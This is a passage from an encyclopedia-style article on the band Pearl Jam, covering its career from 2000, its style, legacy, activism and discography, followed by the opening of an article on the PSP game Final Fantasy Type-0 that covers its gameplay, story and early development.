A month after the European tour concluded, the band embarked on its two-leg 2000 North American tour. On performing after the Roskilde tragedy, Vedder said that "playing, facing crowds, being together—it enabled us to start processing it". On October 22, 2000, the band played the MGM Grand in Las Vegas, celebrating the tenth anniversary of its first live performance as a band. Vedder took the opportunity to thank the many people who had helped the band come together and make it to ten years. He noted that "I would never do this accepting a Grammy or something." After concluding the Binaural Tour, the band released Touring Band 2000 the following year. The DVD featured select performances from the North American legs of the tour.
Following the events of the September 11, 2001 terrorist attacks, Vedder and McCready were joined by Neil Young to perform the song "Long Road" from the EP Merkin Ball at the America: A Tribute to Heroes benefit concert. The concert, which aired on September 21, 2001, raised money for the victims and their families.
Riot Act (2002–2005)
Pearl Jam commenced work on a new album following a year-long break after its full-scale tour in support of Binaural. McCready described the recording environment as "a pretty positive one" and "very intense and spiritual". Regarding the time period when the lyrics were being written, Vedder said: "There's been a lot of mortality... It's a weird time to be writing. Roskilde changed the shape of us as people, and our filter for seeing the world changed." Pearl Jam released Riot Act on November 12, 2002. It included the singles "I Am Mine" and "Save You". The album featured a much more folk-based and experimental sound, evident in the presence of B3 organist Boom Gaspar on songs such as "Love Boat Captain". Stephen Thomas Erlewine of AllMusic wrote: "Riot Act is the album that Pearl Jam has been wanting to make since Vitalogy—a muscular art rock record, one that still hits hard but that is filled with ragged edges and odd detours." The track entitled "Arc" was recorded as a vocal tribute to the nine people who died at the Roskilde Festival in June 2000. Vedder only performed this song nine times on the 2003 tour, and the band left the track off all released bootlegs.
In 2003, the band embarked on its Riot Act Tour, which included tours in Australia and North America. The band continued its official bootleg program, making every concert from the tour available in CD form through its official website. A total of six bootlegs were made available in record stores: Perth, Western Australia; Tokyo; State College, Pennsylvania; two shows from Madison Square Garden; and Mansfield, Massachusetts. At many shows during the 2003 North American tour, Vedder performed Riot Acts "Bu$hleaguer", a commentary on President George W. Bush, with a rubber mask of Bush, wearing it at the beginning of the song and then hanging it on a mic stand to allow him to sing. The band made news when it was reported that several fans left after Vedder had "impaled" the Bush mask on his mic stand at the band's show in Denver, Colorado.
In June 2003, Pearl Jam announced it was leaving Epic Records following the end of its contract with the label. The band stated it had "no interest" in signing with another label. The band's first release without a label was the single for "Man of the Hour", in partnership with Amazon.com. Director Tim Burton approached Pearl Jam to request an original song for the soundtrack of his film Big Fish. After screening an early print of the film, Pearl Jam recorded the song for him. "Man of the Hour", which was later nominated for a Golden Globe Award, can be heard in the closing credits of Big Fish.
The band released Lost Dogs, a two-disc collection of rarities and B-sides, and Live at the Garden, a DVD featuring the band's July 8, 2003 concert at Madison Square Garden through Epic Records in November 2003. In 2004, Pearl Jam released the live album Live at Benaroya Hall through a one-album deal with BMG. 2004 marked the first time that Pearl Jam licensed a song for usage in a television show; a snippet of the song "Yellow Ledbetter" was used in the final episode of the television series Friends. Later that year, Epic released rearviewmirror (Greatest Hits 1991–2003), a greatest-hits collection spanning 1991 to 2003. This release marked the end of Pearl Jam's contractual agreement with Epic Records.
Pearl Jam played a show at Easy Street Records in Seattle in April 2005; recordings from the show were compiled for the album Live at Easy Street and released exclusively to independent record stores in June 2006. The band embarked on a Canadian cross-country tour in September 2005, kicking off the tour with a fundraising concert in Missoula, Montana for Democratic politician Jon Tester and playing The Gorge Amphitheatre. After touring Canada, Pearl Jam proceeded to open a Rolling Stones concert in Pittsburgh, then played two shows at the Borgata casino in Atlantic City, New Jersey, then closed the tour with a concert in Philadelphia, Pennsylvania. The official bootlegs for the band's 2005 shows were distributed via Pearl Jam's official website in MP3 form. Pearl Jam also played a benefit concert to raise money for Hurricane Katrina relief on October 5, 2005, at the House of Blues in Chicago. On November 22, 2005, Pearl Jam began its first Latin American tour.
Move to J Records and Pearl Jam (2006–2008)
The work for Pearl Jam's follow-up to Riot Act began after its appearance on the 2004 Vote for Change tour. The time period between the two albums was the longest gap between Pearl Jam's studio albums to date and the new album was its first release for a new label. Clive Davis announced in February 2006 that Pearl Jam had signed with his label J Records, which like Epic, is part of Sony Music Entertainment (then known as Sony BMG), though J has since folded into RCA Records. The album Pearl Jam was released on May 2, 2006. A number of critics cited Pearl Jam as a return to the band's early sound, and McCready compared the material to Vs. in a 2005 interview. Ament said: "The band playing in a room—that came across. There's a kind of immediacy to the record, and that's what we were going for." Chris Willman of Entertainment Weekly wrote that "in a world full of boys sent to do a man's job of rocking, Pearl Jam can still pull off gravitas". Current socio-political issues in the United States are addressed on the album. "World Wide Suicide", a song criticizing the Iraq War and U.S. foreign policy, was released as a single and topped the Billboard Modern Rock chart; it was Pearl Jam's first number one on that chart since "Who You Are" in 1996, and first number one on any chart in the United States since 1998 when "Given to Fly" reached number one on the Mainstream Rock chart. Pearl Jam also included the singles "Life Wasted" and "Gone".
To support Pearl Jam, the band embarked on its 2006 world tour. It toured North America, Australia and notably Europe; Pearl Jam had not toured the continent for six years. The North American tour included three two-night stands opening for Tom Petty and the Heartbreakers. The band served as the headliners for the Leeds and Reading festivals, despite having vowed to never play at a festival again after Roskilde. Vedder started both concerts with an emotional plea to the crowd to look after each other. He commented during the Leeds set that the band's decision to play a festival for the first time after Roskilde had nothing to do with "guts" but with trust in the audience.
In 2007, Pearl Jam recorded a cover of The Who's "Love, Reign o'er Me" for the film Reign Over Me; it was later made available as a music download on the iTunes Music Store. The band embarked on a 13-date European tour, and headlined Lollapalooza in Grant Park, Chicago on August 5, 2007. The band released a CD box set in June 2007, titled Live at the Gorge 05/06, that documents its shows at The Gorge Amphitheatre, and in September 2007 a concert DVD, titled Immagine in Cornice, which documents the band's Italian shows from its 2006 tour was released.
In June 2008, Pearl Jam performed as the headline act at the Bonnaroo Music Festival. The Bonnaroo appearance took place amidst a twelve-date tour in the Eastern United States. In July 2008, the band performed at the VH1 tribute to The Who with Foo Fighters, Incubus and The Flaming Lips. In the days prior to Election Day 2008, Pearl Jam digitally released through its official website a free documentary film, titled Vote for Change? 2004, which follows the band's time spent on the 2004 Vote for Change tour.
Reissues and Backspacer (2009–2012)
In March 2009, Ten was reissued in four editions, featuring such extras as a remastering and remix of the entire album by Brendan O'Brien, a DVD of the band's 1992 appearance on MTV Unplugged, and an LP of its concert of September 20, 1992 at Magnuson Park in Seattle. It was the first reissue in a planned re-release of Pearl Jam's entire catalog that led up to the band's 20th anniversary in 2011. A Pearl Jam retrospective film directed by Cameron Crowe titled Pearl Jam Twenty was also planned to coincide with the anniversary. In 2011, Vs. and Vitalogy were reissued in the spring time in deluxe form.
Pearl Jam began work for the follow-up to Pearl Jam in early 2008. In 2009, the band began to build on instrumental and demo tracks written during 2008. The album Backspacer was its first to be produced by Brendan O'Brien since Yield. Backspacer debuted at No. 1 on the Billboard music charts, the band's first album to do so since No Code in 1996, and has sold 635,000 copies as of July 2013, according to Nielsen SoundScan. The music on the record features a sound influenced by pop and new wave. Stephen Thomas Erlewine of AllMusic wrote that "prior to Backspacer, Pearl Jam wouldn't or couldn't have made music this unfettered, unapologetically assured, casual, and, yes, fun". Regarding the lyrics, Vedder said: "I've tried, over the years, to be hopeful in the lyrics, and I think that's going to be easier now." "The Fixer" was chosen as the album's first single. Pearl Jam did not re-sign its record deal with J Records, and the band released the album through its own label Monkeywrench Records in the United States and through Universal Music Group internationally. Pearl Jam reached a deal with Target to be the exclusive big-box retailer for the album in the United States. The album also saw release through the band's official website, independent record stores, online retailers, and iTunes. In an interview in September 2009 McCready revealed that Pearl Jam was scheduled to finish the Backspacer outtakes within six months, and told San Diego radio station KBZT that the band may release an EP in 2010 consisting of those songs, and Vedder instead suggested that the songs may be used for the band's next studio album.
In August 2009, Pearl Jam headlined the Virgin Festival, the Outside Lands Music and Arts Festival, and played five shows in Europe and three in North America. In October 2009, Pearl Jam headlined the Austin City Limits Music Festival. Later in October on Halloween night, the band played in what was the last performance at the Philadelphia Spectrum. An additional leg consisting of a tour of Oceania took place afterwards. In May 2010, the band embarked on a month-long tour starting with the New Orleans Jazz & Heritage Festival. The tour headed to the East Coast and ended May 21, 2010 at Madison Square Garden in New York. A European tour took place in June and July 2010, where the band performed in Northern Ireland for the first time at the Odyssey Arena in Belfast. In late October 2010, Pearl Jam performed at the 24th Annual Bridge School Benefit Concert at the Shoreline Amphitheater in Mountain View, California. A live album, titled Live on Ten Legs, was released on January 17, 2011. It is a compilation of live tracks from their 2003 to 2010 world tours, and is a follow-up to Live on Two Legs, which consisted of songs recorded during their 1998 North American tour.
In March 2011, bassist Jeff Ament told Billboard that the band had 25 songs and they'd be heading into the studio in April to begin recording the follow-up to Backspacer. On May 16, 2011, the band confirmed that they would play the Labor Day weekend at the Alpine Valley Music Theatre in East Troy, Wisconsin, followed by ten shows in Canada.
On September 8, 2011, the band released a new song titled "Olé". On November 18, the band released Toronto 9.11.11—a free live album available through the launch of Google Music. On November 21, 2011, as part of their PJ20 World Tour, Pearl Jam visited Costa Rica for the first time to a 30,000 crowd of fans at the National Stadium. The following month, the band announced a tour of Europe, which started in June 2012.
Lightning Bolt (2013–2017)
On July 11, 2013, the band announced that their tenth studio album Lightning Bolt would be released internationally on October 14, 2013, and on the next day in the United States, along with releasing the first single "Mind Your Manners". The band played a two-leg tour in North America during October and November, followed by headlining the final Big Day Out festival in Australia and New Zealand in 2014. The second single, "Sirens", was released on September 18, 2013. After selling 166,000 copies in its first week, Lightning Bolt became Pearl Jam's fifth album to reach number one on the Billboard 200. At the 57th Annual Grammy Awards in February 2015, the album won the award for Best Recording Package. In November 2015 the band played a nine-date tour of Latin America.
In January 2016, the band announced a tour of the United States and Canada, including appearances at the New Orleans Jazz Festival and Bonnaroo. In April 2017, Pearl Jam was inducted into the Rock and Roll Hall of Fame. At the ceremony they were inducted by comedian David Letterman. In August 2017, the band announced the release of the live album and concert film Let's Play Two from the band's shows at Wrigley Field in Chicago the previous year.
Touring and Gigaton (2018–present)
The band launched a 2018 tour with shows in South America in March 2018, including shows at the Lollapalooza festival events in Brazil, Chile and Argentina, with the latter being cancelled due to heavy rain the night before. followed by performances in Europe and North America. The tour included two shows for homelessness-related charities in the band's hometown of Seattle.
Prior to the first shows of the tour, Pearl Jam released the song "Can't Deny Me". In December 2019, Pearl Jam confirmed that they would be touring Europe in the summer of 2020. On January 13, 2020, the band announced that their album Gigaton would be released on March 27, 2020. In conjunction with the release of their eleventh studio album, the band also announced tour dates in North America during March and April 2020. However, the North American leg was postponed due to the COVID-19 pandemic, with the aim to reschedule them for a later date. In September 2020, the band confirmed that their MTV Unplugged live set would be released on vinyl and CD for the first time the following month.
In May 2021, Pearl Jam announced the release of a digital collection of nearly 200 concerts dating from 2000 to 2013. The collection of 5,404 individual songs, entitled Deep, is accessible by members of the Pearl Jam Ten Club. On September 18, 2021, the band played their first show since 2018 at the Sea.Hear.Now Festival in Asbury Park, New Jersey, where former Red Hot Chili Peppers guitarist Josh Klinghoffer made his debut as a touring musician with the band. In May 2022, Pearl Jam began to tour for their postponed shows, originally intended to be played in 2020. That same month, Matt Cameron was forced to miss his first shows in 24 years since joining the band due to testing positive for the COVID-19 virus. Josh Klinghoffer and Richard Stuverud played drums for Cameron. In April 2023, Pearl Jam announced a 4th leg of their Gigaton Tour, primarily focused in the Midwestern United States. In September 2023, their show in Noblesville, Indiana, was postponed due to illness within the band.
Musical style and influences
Compared with the other grunge bands of the early 1990s, Pearl Jam's style is noticeably less heavy and harks back to the classic rock music of the 1970s. Pearl Jam has cited many classic rock bands and artists as influences, including The Who, Led Zeppelin, Neil Young, The Rolling Stones, Pink Floyd, Jimi Hendrix, and the Ramones. Pearl Jam's success has been attributed to its sound, which fuses "the riff-heavy stadium rock of the '70s with the grit and anger of '80s post-punk, without ever neglecting hooks and choruses". Gossard's rhythm guitar style is known for its sense of beat and groove, while McCready's lead guitar style, influenced by artists such as Jimi Hendrix, has been described as "feel-oriented" and "rootsy".
Pearl Jam has broadened its musical range with subsequent releases. As he had more influence on the band's sound, Vedder sought to make the band's musical output less catchy. He said: "I felt that with more popularity, we were going to be crushed, our heads were going to pop like grapes." By 1994's Vitalogy, the band began to incorporate more punk influences into its music. The band's 1996 album, No Code, was a deliberate break from the musical style of Ten. The songs on the album featured elements of garage rock, worldbeat, and experimentalism. After 1998's Yield, which was somewhat of a return to the straightforward rock approach of the band's early work, they dabbled with experimental art rock on the Binaural album of 2000, and with folk rock elements on the 2002 album Riot Act. The band's 2006 self-titled album was cited as a return to their early sound. Their 2009 album, Backspacer, contains elements of pop and new wave.
Critic Jim DeRogatis describes Vedder's vocals as a "Jim Morrison-like vocal growl". Greg Prato of AllMusic stated: "With his hard-hitting and often confessional lyrical style and Jim Morrison-esque baritone, Vedder also became one of the most copied lead singers in all of rock." Vedder's lyrical topics range from personal ("Alive", "Better Man") to social and political concerns ("Even Flow", "World Wide Suicide"). His lyrics have often invoked the use of storytelling and have included themes of freedom, individualism, and sympathy for troubled individuals. When the band started, Gossard and McCready were designated as rhythm and lead guitarists, respectively. The dynamic began to change when Vedder started to play more rhythm guitar during the Vitalogy era. McCready said in 2006: "Even though there are three guitars, I think there's maybe more room now. Stone will pull back and play a two-note line and Ed will do a power chord thing, and I fit into all that."
Legacy
While Nirvana had brought grunge to the mainstream in the early 1990s with Nevermind, Pearl Jam's debut Ten outsold it in the United States, and the band became "the most popular American rock & roll band of the '90s" according to AllMusic. Pearl Jam has been described as "modern rock radio's most influential stylists – the workmanlike midtempo chug of songs like 'Alive' and 'Even Flow' just melodic enough to get moshers singing along". The band inspired and influenced a number of bands, including Silverchair, The White Stripes and The Strokes. The band has also been credited for inspiring the indie rock scene of 90s-era urban Pakistan, that has since evolved into a rich rock music culture in the country.
Pearl Jam were ranked at number 8 by Rolling Stone magazine in its "Top Ten Live Acts of All Time". Pearl Jam has been praised for its rejection of rock star excess and its insistence on backing causes it believes in. Music critic Jim DeRogatis stated in the aftermath of the band's battle with Ticketmaster that it "proved that a rock band which isn't greed heads can play stadiums and not milk the audience for every last dime... it indicated that idealism in rock 'n' roll is not the sole province of those '60s bands enshrined in the Rock and Roll Hall of Fame". In 2001, Eric Weisbard of Spin wrote: "The group that was once accused of being synthetic grunge now seem as organic and principled a rock band as exists." In a 2005 readers' poll in USA Today, Pearl Jam was voted the greatest American rock band of all time. In April 2006, Pearl Jam was awarded the prize for "Best Live Act" in Esquire'''s Esky Music Awards. The blurb called Pearl Jam "the rare superstars who still play as though each show could be their last". Pearl Jam's fanbase following has been compared to that of the Grateful Dead's, with Rolling Stone magazine stating that Pearl Jam "toured incessantly and became one of rock's great arena acts, attracting a fanatical, Grateful Dead-like cult following with marathon, true-believer shows in the vanishing spirit of Bruce Springsteen, the Who and U2".
When asked about Pearl Jam's legacy in a 2000 interview, Vedder said: "I think at some point along the way we began feeling we wanted to give people something to believe in because we all had bands that gave that to us when we needed something to believe in. That was the big challenge for us after the first record and the response to it. The goal immediately became how do we continue to be musicians and grow and survive in view of all this... The answers weren't always easy, but I think we found a way." Their 1992 MTV Unplugged performance was ranked second in Rolling Stones list of its 15 Best Episodes.
Campaigning and activism
Throughout its career, Pearl Jam has promoted wider social and political issues, from pro-abortion rights sentiments to opposition to George W. Bush's presidency. Vedder acts as the band's spokesman on these issues. The band has promoted an array of causes, including awareness of Crohn's disease, which Mike McCready suffers from, Ticketmaster venue monopolization and the environment and wildlife protection, among others. Guitarist Stone Gossard has been active in environmental pursuits, and has been an advocate of Pearl Jam's carbon neutral policy, offsetting the band's environmental impact. Vedder has advocated for the release of the West Memphis 3 for years and Damien Echols, a member of the three, shares a writing credit for the song "Army Reserve" (from Pearl Jam).
The band, and especially frontman Eddie Vedder, have been vocal supporters of the abortion rights movement. In 1992, Spin printed an article by Vedder, entitled "Reclamation", which detailed his views on abortion. In an MTV Unplugged concert the same year, Vedder stood on a stool and wrote "PRO-CHOICE!" on his arm in protest when the band performed the song "Porch". The band are members of a number of abortion rights organizations, including Choice USA and Voters for Choice.
As members of Rock the Vote and Vote for Change, the band has encouraged voter registration and participation in United States elections. Vedder was outspoken in support of Green Party presidential candidate Ralph Nader in 2000, and Pearl Jam played a series of concerts on the Vote for Change tour in October 2004, supporting the candidacy of John Kerry for U.S. president. In a Rolling Stone feature showcasing the Vote for Change tour's performers, Vedder told the magazine: "I supported Ralph Nader in 2000, but it's a time of crisis. We have to get a new administration."
In 2006, the members of Pearl Jam founded the non-profit organization Vitalogy Foundation. Named after their third studio album, the foundation supports non-profit organizations working in the fields of community health, the environment, arts, education and social change.
Vedder sometimes comments on politics between songs, often to criticize U.S. foreign policy, and a number of his songs, including "Bu$hleaguer" and "World Wide Suicide", are openly critical of the Bush administration. At Lollapalooza 2007, Vedder spoke out against BP Amoco dumping effluent in Lake Michigan, and at the end of "Daughter", he sang the lyrics "George Bush leave this world alone / George Bush find yourself another home". In the beginning of the second encore Vedder invited Iraq war veteran Tomas Young, the subject of the documentary Body of War, onto the stage to urge an end to the war. Young in turn introduced Ben Harper, who contributed vocals to "No More" and "Rockin' in the Free World". The band later discovered that some of the Bush-related lyrics were excised from the AT&T webcast of the event, and questioned whether that constitutes censorship. AT&T later apologized and blamed the censorship on contractor Davie Brown Entertainment.
Pearl Jam has performed numerous benefit concerts in aid of charities and causes. For example, the band headlined a Seattle concert in 2001 to support the United Nations' efforts to combat world hunger. The band added a date at the Chicago House of Blues to its 2005 tour to help the victims of Hurricane Katrina; the concert proceeds were donated to Habitat for Humanity, the American Red Cross and the Jazz Foundation of America.
In 2011, Pearl Jam was named 2011 Planet Defenders by Rock The Earth for their environmental activism and their large-scale efforts to decrease their own carbon emissions.
Band members
Current members
Jeff Ament – bass, backing vocals (1990–present), keyboards (2017–present)
Stone Gossard – rhythm guitar, backing and occasional lead vocals (1990–present), lead guitar (1993–present), keyboards (1993–1996)
Mike McCready – lead guitar (1990–present), backing vocals (2009–present)
Eddie Vedder – lead vocals (1990–present), rhythm guitar (1993–present)
Matt Cameron – drums, percussion, backing vocals (1998–present)
Touring/session members
Boom Gaspar – keyboards, piano, organ (2002–present)
Josh Klinghoffer – guitar, percussion, keyboards, drums, backing vocals (2021–present)
Richard Stuverud – drums, percussion (2022–present)
Former members
Dave Krusen – drums, percussion (1990–1991; touring guest 2017, 2022)
Matt Chamberlain – drums, percussion (1991)
Dave Abbruzzese – drums, percussion (1991–1994)
Jack Irons – drums, percussion (1994–1998)
Timeline
Discography
Ten (1991)
Vs. (1993)
Vitalogy (1994)
No Code (1996)
Yield (1998)
Binaural (2000)
Riot Act (2002)
Pearl Jam (2006)
Backspacer (2009)
Lightning Bolt (2013)
Gigaton (2020)
See also
List of alternative rock artists
List of artists who reached number one on the U.S. alternative rock chart
List of artists who reached number one on the U.S. Mainstream Rock chart
List of awards and nominations received by Pearl Jam
List of Rock and Roll Hall of Fame inductees
References
Further reading
Clark, Martin. Pearl Jam & Eddie Vedder: None Too Fragile (2005).
Jones, Allan. Pearl Jam – The Illustrated Story, A Melody Maker Book (1995).
McCready, Mike. Of Potato Heads and Polaroids: My Life Inside and Out of Pearl Jam (2017).
Neely, Kim. Five Against One: The Pearl Jam Story (1998).
Pearl Jam. Twenty (2011).
Prato, Greg. Grunge Is Dead: The Oral History of Seattle Rock Music (2009).
Prato, Greg. 100 Things Pearl Jam Fans Should Know & Do Before They Die (2018).
Wall, Mick. Pearl Jam'' (1996).
External links
Alternative rock groups from Washington (state)
American grunge groups
American musical quintets
Hard rock musical groups from Washington (state)
Epic Records artists
J Records artists
Universal Music Group artists
Grammy Award winners
Musical groups established in 1990
1990 establishments in Washington (state)
Musical groups from Seattle
Musical groups from Washington (state)
Third Man Records artists
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https://en.wikipedia.org/wiki/Final%20Fantasy%20Type-0
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Final Fantasy Type-0
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is an action role-playing game developed and published by Square Enix for the PlayStation Portable (PSP). Released in Japan on October 27, 2011, Type-0 is part of the Fabula Nova Crystallis subseries, a set of games sharing a common mythos which includes Final Fantasy XIII and XV. The gameplay, similar to Crisis Core: Final Fantasy VII, has the player taking control of characters in real-time combat during missions across Orience. The player also engages in large-scale strategy-based battles on the world map, and has access to a multiplayer option during story missions and side quests.
The story focuses on Class Zero, a group of fourteen students from the Vermillion Peristylium, a magical academy in the Dominion of Rubrum. When the Militesi Empire launches an assault on the other Crystal States of Orience, seeking to control their respective crystals, Class Zero is mobilized for the defense of Rubrum. Eventually, the group becomes entangled in the secrets behind both the war and the reason for their existence. The setting and presentation were inspired by historical documentaries, and the story itself was written to be darker than other Final Fantasy titles.
The game was originally announced as a title for mobile phones and the PSP called It was directed by Hajime Tabata, who took up the project after completing Before Crisis: Final Fantasy VII. Initially designed to provide players with easy access to the Fabula Nova Crystallis universe, the mobile version was eventually cancelled and the game's title was changed to distance it from the subseries' flagship title Final Fantasy XIII. Releasing to strong sales, it received praise for its story and gameplay, but was criticized for its camera control and artificial intelligence. Further games related to Type-0 have also been developed, including a high definition remaster that was released internationally in March 2015.
Gameplay
Final Fantasy Type-0 is an action role-playing game in which the player controls the 14 members of Class Zero, who are sent on missions across Orience. Outside environments such as the Vermillion Peristylium (Class Zero's home base) and dedicated missions, the game world of Orience is navigated via a scaled-down world map. Class Zero is sent on missions across Orience during the course of the game. The player initially travels to preset destinations in the world on an airship supplied by the Peristylium, but gains their own airship to freely navigate the world map after defeating a powerful enemy guarding it. The main gameplay is presented in a mission-based structure. The two types of missions encountered are story-based missions, and "Practice" missions, which act as side-quests. During missions, optional orders are issued which can be obeyed or ignored as the player chooses. Should they be accepted, the characters receive a temporary power boost, and completing the objectives yields rewards. Players can also engage in real-time strategy battles on the world map, with the player taking control of allied military divisions. Missions involve liberating cities and towns from enemy forces. Timed aerial missions are also available where the characters shoot down attacking dragons using their airship's weapons.
While outside combat, players can breed chocobos, recurring galliform birds in the Final Fantasy series. Players must capture two chocobos on the world map and take them to a special ranch within the Peristylium: by pairing certain chocobos and adding specific items, a special chocobo can be bred for use. Players can visit the Peristylium Crystarium to review defeated enemies, character information, in-game lore and special video clips. Moogles, another recurring creature in the series, hand out missions to the player: the objectives of missions can change during gameplay. Items and new equipment can be bought from shops managed by non-player characters (NPCs) both within the Peristylium and across Orience. Towns liberated during missions give access to a wider range of shops. After completing the game once, players unlock a "New Game+" option: in this mode, players keep their stats and weapons from the previous playthrough, while also unlocking story scenes and character-specific missions. Type-0 features three difficulty levels: "normal", "hard", and "impossible".
Battle system
Type-0 uses a real-time, action-based battle system similar to the system used in Crisis Core: Final Fantasy VII. The player is allowed access to three characters, which they can swap between at any time. The two not being controlled are managed by the game's artificial intelligence. Each character has a specific weapon, and special attacks unique to a character are unlocked as they gain experience levels. During combat, characters lock onto targets while attacking and can switch targets. Characters are able to perform precisely timed attacks during the period when an enemy unit is attacking: the "Break Sight", which deals high damage, and the "Kill Sight", which kills a standard enemy with a single hit. Three characters can also be commanded to use a combining their attacks to deal higher damage to a target. Aside from human enemies, the game features multiple recurring Final Fantasy monsters. In addition to enemies encountered in missions, there are special enemies that can be encountered while exploring the world map.
Defeated enemy units drop a substance called Phantoma. The color of Phantoma indicates what aspect of the character it will replenish, though in general they automatically replenish a set number of magic points. Phantoma are used in the game's leveling system, the Altocrystarium, to strengthen a character's magic skills. The game's magic skills are divided into five basic groups named after types of guns: for example, "Rifle" fires the spell in a straight line, while "Missile" homes in on and chases targeted enemies. Holding down the assigned action button increases the power of the attack. Many combat situations involve timed challenges. Success rewards the character, while failure drains their health. If a character is defeated in battle, the player can instantly select another to replace it, and the defeated character must be revived outside the mission. The game features an arena where practice fights take place. While these fights are not against real foes, the characters continue to level up and gain Phantoma after the battle, and twenty battles can be arranged at any one time. Each character has access to summoned monsters called which act as temporary playable characters and have their own set of skills. Summoning them empties the selected character's health gauge, removing them from battle until they are revived. Summons are also affected by the current environment: as an example, Shiva's powers are stronger in snowy weather. After a limited time in battle, the Eidolons are dismissed. Those available to players are series staples Shiva, Ifrit, Golem, Odin, Diablos and Bahamut. Each Eidolon has variants of its original form, many of which are unlocked as the game progresses.
Characters can continue to level up through activities within the Peristylium while the PSP is in sleep mode, the game's UMD is running, and the PSP is charging. The multiplayer function, activated through the game's configuration screen, allows two other players to jump into another host player's game via an online connection. The allotted time for multiplayer is limited to a few minutes, with transitions between zones triggering the end of a multiplayer section. The time limit can be extended by players helping their current host. The first and last segments of the game are not open to multiplayer. There is also a function called Magical Academy Assist, in which NPCs named after members of the game's production team are summoned into battle to assist the cadets.
Synopsis
Note: The plot of Type-0 is the same in its original version and the high-definition remaster Final Fantasy Type-0 HD, so the terms and quotes used in the text are from the localization of the high-definition remaster rather than unofficial translations.
Setting
Final Fantasy Type-0 is set within Orience, a land divided between four nations or "Crystal States". Each nation has crystals of power based on the Four Symbols, which are in turn their national emblems. The Dominion of Rubrum uses the Vermillion Bird Crystal, which controls magic; the Milites Empire controls the White Tiger Crystal, containing the power of science and weapons; the Kingdom of Concordia uses the Azure Dragon Crystal, containing the power of Dragons; and the Lorican Alliance is home to the Black Tortoise Crystal, containing the power of shielding. Each nation has an academy, or Peristylium, to research and protect the country's respective crystal. The crystals have the ability to mark humans as their countries' servants. These servants, called l'Cie, are branded with a symbol and are given a "Focus", a task to complete. While blessed with long life and the ability to transform into crystal, l'Cie are cursed to lose their memories over time. The people of Orience also lose their memories of the dead so they will not be held back by any past regrets and continue strengthening their souls through conflict, a mechanism put in place by the crystals for the convenience of the deities who crafted them. The main aim of many characters is to become Agito, a legendary figure who will appear and save the world from Tempus Finis, an apocalyptic event that will destroy Orience.
Characters
The main characters of Final Fantasy Type-0 are Class Zero, an elite group of 14 students from the Vermillion Peristylium. The first 12 are card wielder Ace, flute wielder Deuce, the archer Trey, magic-gun wielder Cater, the mace-wielding Cinque, scythe wielder Sice, whip wielder Seven, martial artist Eight, spearman Nine, katana wielding Jack, swordswoman Queen and dual pistol wielding King. The last two, Machina Kunagiri and Rem Tokimiya, double as narrators and the focus for the game's main subplot. Supporting Class Zero are their mentor Kurasame Susaya, and Arecia Al-Rashia, Class Zero's former mentor and the overseer for magical development at the Vermillion Peristylium. Other important characters from Rubrum are Khalia Chival VI, the current leader of Rubrum and headmaster of the Vermillion Peristyrium, and the l'Cie Caetuna. Multiple Militesi figures, led by Marshal Cid Aulstyne, act as the game's main antagonists. Other important characters include the Concordian queen Andoria, Gala, leader of the Rursus Army and the instigator of Tempus Finis, and Joker and Tiz, two mysterious figures who observe the events of the game.
Plot
Marshal Cid Aulstyne leads the army of Milites against the other nations of Orience, launching a devastating attack against the Vermillion Peristylium and neutralising the Vermillion Bird Crystal using a crystal jammer. Class Zero, immune to the effects of the jammer, repel the invasion. During the conflict Izana Kunagiri, Machina's older brother, is killed while on a mission for Class Zero. This event later creates a rift between Machina and Class Zero. Coordinated by Kurasame and Arecia Al-Rashia, Class Zero plays a key role in freeing Rubrum's territories and launching counterattacks in alliance with Concordia, while Lorica's capital is destroyed by a Militesi bomb. Andoria, Concordia's queen, then forces a ceasefire between the remaining nations. During peace talks in the Militesi capital, Class Zero is framed for Andoria's murder, resulting in Concordia's puppet government and Milites launching a united assault on Rubrum. During their flight, Machina storms off after clashing with Class Zero, and becomes a White Tiger l'Cie to protect Rem from his brother's fate before returning to them. The White Tiger Crystal's will eventually forces him to leave.
With help from its l'Cie soldiers and Class Zero, Rubrum destroys the forces of Concordia and Milites, uniting Orience under its flag. This triggers the arrival of Tempus Finis, with the Rursus Army emerging from the magical fortress Pandaemonium to wipe out Orience's population. Cid and Class Zero each travel to Pandaemonium: Cid attempts to become Agito and is transformed into the Rursus Arbiter by Gala, while Class Zero resolve to halt Tempus Finis. As Class Zero face the Arbiter's trials, the Vermillion Bird Crystal offers them the chance to become l'Cie. During the original playthrough, if Class Zero accepts the offer, they go into battle against the Rursus and die, dooming Orience to be destroyed in Tempus Finis.
Class Zero refuse the Crystal's offer and Rem is made a l'Cie in their place. Machina and Rem end up fighting each other in Pandaemonium: Rem is mortally wounded, and she and Machina turn to crystal. Weakened by the trials, Class Zero are initially unable to defeat the Arbiter. Machina and Rem's spirits give them the strength they need to defeat the Arbiter and halt Tempus Finis. Fatally injured, Class Zero spend their final minutes imagining their possible post-war lives. They are found by Machina and Rem, who have returned to human form and, along with the rest of Orience, are allowed to remember the dead. In a post-credits sequence, it is said that the Crystal States fall into turmoil as the Crystals lose their powers. Machina and Rem unite Orience and rebuild the world, and Machina records Class Zero's history before dying with Rem at his side.
A second playthrough reveals that Orience is trapped in a stable time loop created by Arecia and Gala, the respective servants of the deities Pulse and Lindzei, as part of an experiment to find the gateway to the Unseen Realm. Competing with each other to open the gateway using a different method, both failed and reset the world for another attempt. By the events of Type-0, the experiment had been performed over six hundred million times. Cid, aware of the cycle, wanted to free Orience from the Crystals' control, and killed himself in an unsuccessful attempt to prevent Gala from using him. In a sequence unlocked during the second playthrough, Joker and Tiz speak with Arecia after the Arbiter's defeat and show her the memories of Class Zero and the people of Orience to make her reconsider restarting the experiment. After speaking with Machina and Rem, Arecia decides to abandon the experiment and returns the two to human form. In an alternate ending, Arecia chooses to remove the crystals from Orience's history, creating a new timeline where the war never occurred and the world's population can live happily.
Development
Final Fantasy Type-0 was originally titled Final Fantasy Agito XIII, envisioned as a game for mobile devices. It was conceived in 2005 as part of Fabula Nova Crystallis Final Fantasy, a subseries of Final Fantasy games linked by a common mythos. Agito XIII was the final original Fabula Nova Crystallis game to be created. The decision to make it a mobile game was based on the popularity of Before Crisis: Final Fantasy VII. Hajime Tabata, who contributed to the Fabula Nova Crystallis mythos, was searching for a new project after finishing Before Crisis and became the game's director. Before Crisis producer Kosei Ito acted as producer before his move to Capcom prior to 2009. Beginning development in 2006, the game was first announced at that year's Electronic Entertainment Expo (E3). It was said to offer on-the-go access to the Fabula Nova Crystallis universe, using gameplay functions exclusive to mobile phones of the time. The concept was to deliver a game for mobile platforms equivalent to a console game from the main Final Fantasy series, and to make it available in its entirety upon release rather than in episodic format.
